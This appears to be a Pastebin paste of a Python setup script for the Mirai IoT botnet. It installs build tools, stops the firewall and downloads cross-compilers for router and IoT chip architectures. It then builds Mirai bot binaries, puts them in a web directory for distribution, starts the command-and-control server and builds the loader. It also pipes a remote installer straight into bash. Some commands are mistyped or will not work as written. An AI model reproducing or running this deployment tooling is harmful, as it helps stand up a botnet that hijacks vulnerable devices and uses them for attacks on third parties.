Advertisement
Guest User

Untitled

a guest
Aug 21st, 2017
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. #!/usr/bin/env python
  3. # -*- coding: utf-8 -*-
  4. # runute command - python miraiai.py
  5. import subprocess,os,sys,random,time,urllib2,subprocess
  6. time.sleep(5)
  7.  
  8. def run(cmd):
  9. subprocess.call(cmd, shell=True) # You should know what this does!
  10.  
  11. print("Mirai AI 2.0 Final Version*")
  12.  
  13. '''
  14. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  15. Updating/upgraing system & Utils
  16. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  17. '''
  18. print("Updating System*")
  19. run("apt-get update -y")
  20. run("apt-get upgrade -y")
  21. run("apt-get install -y sudo")
  22.  
  23. '''
  24. ━━━━━━━━━━━━━━━━━━━━━━
  25. Installing Mirai Utils
  26. ━━━━━━━━━━━━━━━━━━━━━━
  27. '''
  28.  
  29. print("*Installing Mirai*")
  30. run("sudo apt-get install gcc golang electric-fence git mysql-server mysql-client bzip2 screen libc6-dev -y")
  31. run("sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y")
  32. run("bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)")
  33. run("gvm install go1.4")
  34. run("gvm use go1.4 [--default]")
  35. run("gvm install go1.4 -B")
  36. run("gvm use go1.4")
  37. run("export GOROOT_BOOTSTRAP=$GOROOT")
  38. run("gvm install go1.5")
  39. run("gvm use go1.5")
  40. run("go get github.com/go-sql-driver/mysql")
  41. run("go get github.com/mattn/go-shellwords")
  42. run("/etc/ini.d/iptbales stop")
  43.  
  44. '''
  45. ━━━━━━━━━━
  46. Wget Links
  47. ━━━━━━━━━━
  48. '''
  49.  
  50. getwget = ['https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
  51. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
  52. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
  53. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
  54. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
  55. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
  56. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
  57. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
  58. 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2']
  59.  
  60. for wget in getwget:
  61. run("mkdir /etc/xcompile")
  62. run("wget " + wget + "")
  63. run("tar -xvf *tar.bz2")
  64. run("mv cross-compiler-* /etc/xcompile")
  65.  
  66. run("export PATH=$PATH:/etc/xcompile/armv4l/bin")
  67. run("export PATH=$PATH:/etc/xcompile/armv6l/bin")
  68. run("export PATH=$PATH:/etc/xcompile/i586/bin")
  69. run("export PATH=$PATH:/etc/xcompile/m68k/bin")
  70. run("export PATH=$PATH:/etc/xcompile/mips/bin")
  71. run("export PATH=$PATH:/etc/xcompile/mipsel/bin")
  72. run("export PATH=$PATH:/etc/xcompile/powerpc/bin")
  73. run("export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin")
  74. run("export PATH=$PATH:/etc/xcompile/sh4/bin")
  75. run("export PATH=$PATH:/etc/xcompile/sparc/bin")
  76. run("export PATH=$PATH:/etc/xcompile/armv6l/bin")
  77. run("export PATH=$PATH:/usr/local/go/bin")
  78. run("export GOPATH=$HOME/Documents/go")
  79.  
  80. '''
  81. ━━━━━━━━━━━━━━━━━━━━
  82. Telnet/Release build
  83. ━━━━━━━━━━━━━━━━━━━━
  84. '''
  85.  
  86. print("*Building Release/Debug*")
  87. run("cd /Mirai-Source-Code-master/mirai/")
  88. run("./build.sh debug telnet")
  89. run("./build.sh release telnet")
  90. run("mv Mirai-Source-Code-master/mirai/prompt.txt Mirai-Source-Code-master/mirai/release/")
  91. run("cd Mirai-Source-Code-master/mirai/release; mkdir /var/www/html/bins/; mv mirai.* miraint.* /var/www/html/bins")
  92.  
  93. '''
  94. ━━━━━━━━━━━━
  95. Starting CNC
  96. ━━━━━━━━━━━━
  97. '''
  98.  
  99. print("*Starting CNC*")
  100. run("cd Mirai-Source-Code-master/mirai/release/; screen ./cnc")
  101.  
  102. '''
  103. ━━━━━━━━━━━━━━━━━
  104. Setting up loader
  105. ━━━━━━━━━━━━━━━━━
  106. '''
  107.  
  108. print("\x1b[1m\x1b[93m⚠⚠⚠ \x1b[31mREAD \x1b[37m>\x1b[31m> \x1b[37mTHIS ISNT A FULL SETUP YOU STILL HAVE TO EDIT YOUR CONFIGS (main.c in dlrs) \x1b[93m⚠⚠⚠\x1b[0m")
  109. time.sleep(7)
  110. print("\x1b[90m[\x1b[94m*\x1b[90m] \x1b[36mSetting up loader Stand by \x1b[90m[\x1b[94m*\x1b[90m]\x1b[0m")
  111. run("cd Mirai-Source-Code-master/mirai/dlr")
  112. run("./build.sh")
  113. run("cp /Mirai-Source-Code-master/dlr/release/dlr.* /Mirai-Source-Code-master/loader/bins")
  114. print("\x1b[1m\x1b[93m⚠⚠⚠ \x1b[31mREAD \x1b[37m>\x1b[31m> \x1b[37mMake sure u Edit line 37 & 38 & line 53 in main.c \x1b[93m⚠⚠⚠\x1b[0m")
  115. time.sleep(7)
  116. run("cd /Mirai-Source-Code-master/loader/src/; nano main.c")
  117.  
  118. '''
  119. ━━━━━━━━━━━━━━━━━
  120. $ End of Script $
  121. ━━━━━━━━━━━━━━━━━
  122. '''
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement